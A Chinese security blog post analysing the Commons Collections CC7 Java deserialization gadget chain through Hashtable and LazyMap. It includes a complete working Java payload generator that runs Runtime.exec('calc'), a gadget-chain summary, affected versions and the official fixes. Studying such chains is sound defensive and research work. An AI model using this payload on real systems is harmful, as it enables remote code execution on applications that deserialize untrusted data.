Java反序列化漏洞(九)- CommonsCollections7链

CC7 依旧是寻找 LazyMap 的触发点,这次用到了 Hashtable。


0x01 前置知识

Hashtable

Hashtable 与 HashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:

  • HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类。
  • 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
  • Hashtable 的 key-value 不允许为 null 值,但是 HashMap 则是允许的,后者会将 key=null 的实体放在 index=0 的位置。
  • Hashtable 线程安全,HashMap 线程不安全。

那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?答案是肯定的。

Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里。

reconstitutionPut 调用了 key 的 hashCode 方法。

这个调用逻辑是与 HashMap 差不多的。

0x02 攻击构造

攻击调用代码与 HashMap 几乎一模一样:

public class CC7 {
    public static String fileName = "CC7.bin";

    public static void main(String[] args) throws Exception {
        // 初始化 HashMap
        Hashtable<Object, Object> hashtable = new Hashtable<>();

        // 创建 ChainedTransformer
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 创建一个空的 ChainedTransformer
        ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

        // 创建 LazyMap 并引入 TiedMapEntry
        Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
        TiedMapEntry entry   = new TiedMapEntry(lazyMap, "sanshi");

        hashtable.put(entry, "sanshi");

        //用反射再改回真的chain
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(fakeChain, transformers);
        //清空由于 hashtable.put 对 LazyMap 造成的影响
        lazyMap.clear();

        writeObjectToFile(hashtable, fileName);
        readFileObject(fileName);
    }

    public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
            oos.writeObject(obj);
        }
    }

    public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
            return ois.readObject();
        }
    }
}

0x03 总结

以上就是 CC7 链分析的全部内容了,最后总结一下。

1.利用说明:

  • 用 Hashtable 代替 HashMap 触发 LazyMap 方式,与 CC6 HashMap 几乎一致。

2.Gadget 总结:

  • kick-off gadget:java.util.Hashtable#readObject()
  • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
  • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode()

3.利用链展示:

Hashtable.readObject()
   TiedMapEntry.hashCode()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InvokerTransformer.transform()

4.依赖版本:
commons-collections : 3.1

0x04 CC链总结

1.利用条件:

  • 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
  • 2、4是Commons Collections 4.0以上中存在的反序列化链。
  • 同时还对JDK的版本有要求,测试版本为1.7和1.8

2.修复方式:
官方是怎么修复漏洞的,Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2

先看3.2.2,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。 这个检查在常⻅的危险Transformer类( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is
disabled for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure
that your application does not de-serialize objects from untrusted sources

再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

微信公众号

本文链接:

https://sanshiok.com/archive/26.html

# 最新文章